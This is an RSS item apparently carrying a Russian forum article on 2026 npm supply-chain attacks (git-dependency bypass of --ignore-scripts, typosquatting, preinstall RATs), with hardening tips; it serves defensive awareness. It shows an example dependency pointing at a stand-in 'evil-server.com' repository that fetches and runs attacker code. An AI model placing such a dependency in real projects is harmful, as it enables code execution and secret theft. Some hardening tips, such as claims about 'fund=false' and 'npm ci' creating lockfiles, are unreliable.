<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[PackageGate и zero-day уязвимости npm в 2026: защита от git-зависимостей и preinstall]]></title><description><![CDATA[<p dir="auto"><img src="/assets/uploads/files/fd/82/56/1774335151001-generated_1774335117238.webp" alt="Обложка: PackageGate и zero-day уязвимости npm в 2026: защита проектов от компрометации через git-зависимости и preinstall-скрипты" class=" img-fluid img-markdown" /></p>
<p dir="auto">PackageGate в 2026 году - это шесть zero-day уязвимостей в npm, pnpm, vlt и Bun. Они позволяют обходить флаги вроде --ignore-scripts через git-зависимости и preinstall-скрипты. Разберём, как это работает и как защитить проекты от компрометации.</p>
<p dir="auto">Такие атаки крадут секреты, CI-токены и API-ключи прямо из dev-окружения. Защита нужна всем, кто юзает npm ежедневно. Пройдёмся по примерам, уязвимостям и инструментам, чтоб не попасться на хук.</p>
<h2>PackageGate: обход защит через git-зависимости</h2>
<p dir="auto">PackageGate стартовал в январе 2026. Злоумышленники нашли дыру: npm не патчит обход --ignore-scripts через git-зависимости в .npmrc. Ты добавляешь зависимость из git-репо, и вредоносный preinstall-скрипт запускается, даже если флаг игнора скриптов стоит. Это не видно стандартным сканерам вроде npm audit.</p>
<p dir="auto">npm заявил, что это ‘ожидаемое поведение’ - ответственность на юзерах. pnpm, vlt и Bun частично пофиксили свои CVE-2025-69263/69264. Но в реале это значит, что любой git-хаб с малварью может внедриться в твой бандл. Пример: зависимость “git+https://evil-server.com/malicious.git” тянет код с сервера атакующего и выполняет его на твоей машине.</p>
<ul>
<li><strong>Git-обход в действии</strong>: preinstall из git-репо игнорирует --ignore-scripts, потому что скрипт не в пакете, а подгружается динамически.</li>
<li><em>Нюанс</em>: .npmrc позволяет указать репо без локального кода, сканеры слепы.</li>
<li><strong>Последствия</strong>: Кража SSH-ключей, токенов, истории VSCode.</li>
</ul>
<table class="table table-bordered table-striped">
<thead>
<tr>
<th>Уязвимость</th>
<th>Менеджер</th>
<th>Статус</th>
<th>Риск</th>
</tr>
</thead>
<tbody>
<tr>
<td>Обход --ignore-scripts</td>
<td>npm</td>
<td>Не патчится</td>
<td>Высокий</td>
</tr>
<tr>
<td>Lockfile коллизии</td>
<td>pnpm/vlt/Bun</td>
<td>Патчи вышли</td>
<td>Средний</td>
</tr>
<tr>
<td>Preinstall из git</td>
<td>Все</td>
<td>Открыто</td>
<td>Критический</td>
</tr>
</tbody>
</table>
<h2>Typosquatting и компрометация preinstall-скриптов</h2>
<p dir="auto">Typosquatting - классика: поддельные пакеты вроде ambar-src вместо ember-source. В феврале 2026 такой фейк скачали 50k раз, malware активировался на npm install через preinstall. Ещё SANDWORM_MODE в 19 пакетах крадёт крипто-ключи и CI-секреты.</p>
<p dir="auto">Preinstall-скрипты - киллер-фича для атак. Они бегут до установки, под видом легитимных команд. StegaBin в конце февраля: 26 пакетов-имитаторов express, lodash, jsonwebtoken. Расшифровывают стеганографию из Pastebin, тянут RAT и девять модулей для сканирования. TruffleHog ищет секреты в твоём проекте автоматически.</p>
<ul>
<li><strong>Примеры атак</strong>:
<ul>
<li>ambar-src: 50k+ установок, malware в preinstall.</li>
<li><em>StegaBin</em>: Typosquatting + RAT, крадёт VSCode config, SSH, Git history.</li>
<li>PhantomRaven: 88 пакетов с git-зависимостями, динамическая подгрузка малвари.</li>
</ul>
</li>
</ul>
<table class="table table-bordered table-striped">
<thead>
<tr>
<th>Метод</th>
<th>Пример</th>
<th>Что крадёт</th>
</tr>
</thead>
<tbody>
<tr>
<td>Typosquatting</td>
<td>ambar-src</td>
<td>Крипто-ключи</td>
</tr>
<tr>
<td>Preinstall RAT</td>
<td>StegaBin</td>
<td>SSH, токены, буфер</td>
</tr>
<tr>
<td>Аккаунт-хайджек</td>
<td>debug, chalk</td>
<td>API-ключи AI</td>
</tr>
</tbody>
</table>
<h2>Защита проектов: инструменты и практики</h2>
<p dir="auto">Начни с npm audit и --ignore-scripts по дефолту. Но это не спасёт от git-обходов - юзай lockfile с SHA-512, проверяй package-lock.json на коллизии SHA-1. Включи .npmrc с strict-peer-deps и fund=false, чтоб не тянуть подозрительное.</p>
<p dir="auto">Ключ - аудит зависимостей: socket.dev или snyk сканируют git-зависимости и preinstall. В CI добавь steps: git clone без подмодулей, npm ci с --dry-run. Для фронта/ноды - рендери deps в контейнере, без root. Ещё: 2FA на npm-аккаунтах, scoped пакеты только trusted.</p>
<ul>
<li><strong>Базовые шаги</strong>:
<ol>
<li><code>npm install --ignore-scripts --no-fund</code> всегда.</li>
<li><em>Аудит</em>: <code>npm audit --audit-level moderate</code>, фиксить auto.</li>
<li>Lockfile: генерируй с <code>npm ci --strict-peer-deps</code>.</li>
<li>Сканеры: socket, ossf-scorecard для git-deps.</li>
</ol>
</li>
</ul>
<table class="table table-bordered table-striped">
<thead>
<tr>
<th>Инструмент</th>
<th>Что ловит</th>
<th>Плюсы</th>
</tr>
</thead>
<tbody>
<tr>
<td>npm audit</td>
<td>Known vulns</td>
<td>Быстро, built-in</td>
</tr>
<tr>
<td>Socket.dev</td>
<td>Git/preinstall</td>
<td>Обход PackageGate</td>
</tr>
<tr>
<td>Snyk</td>
<td>Typosquatting</td>
<td>CI-интеграция</td>
</tr>
</tbody>
</table>
]]></description><link>https://forum.exlends.ru/topic/1892/packagegate-i-zero-day-uyazvimosti-npm-v-2026-zashita-ot-git-zavisimostej-i-preinstall</link><generator>RSS for Node</generator><lastBuildDate>Sat, 17 Oct 2026 03:45:49 GMT</lastBuildDate><atom:link href="https://forum.exlends.ru/topic/1892.rss" rel="self" type="application/rss+xml"/><pubDate>Tue, 24 Mar 2026 06:52:31 GMT</pubDate><ttl>60</ttl></channel></rss>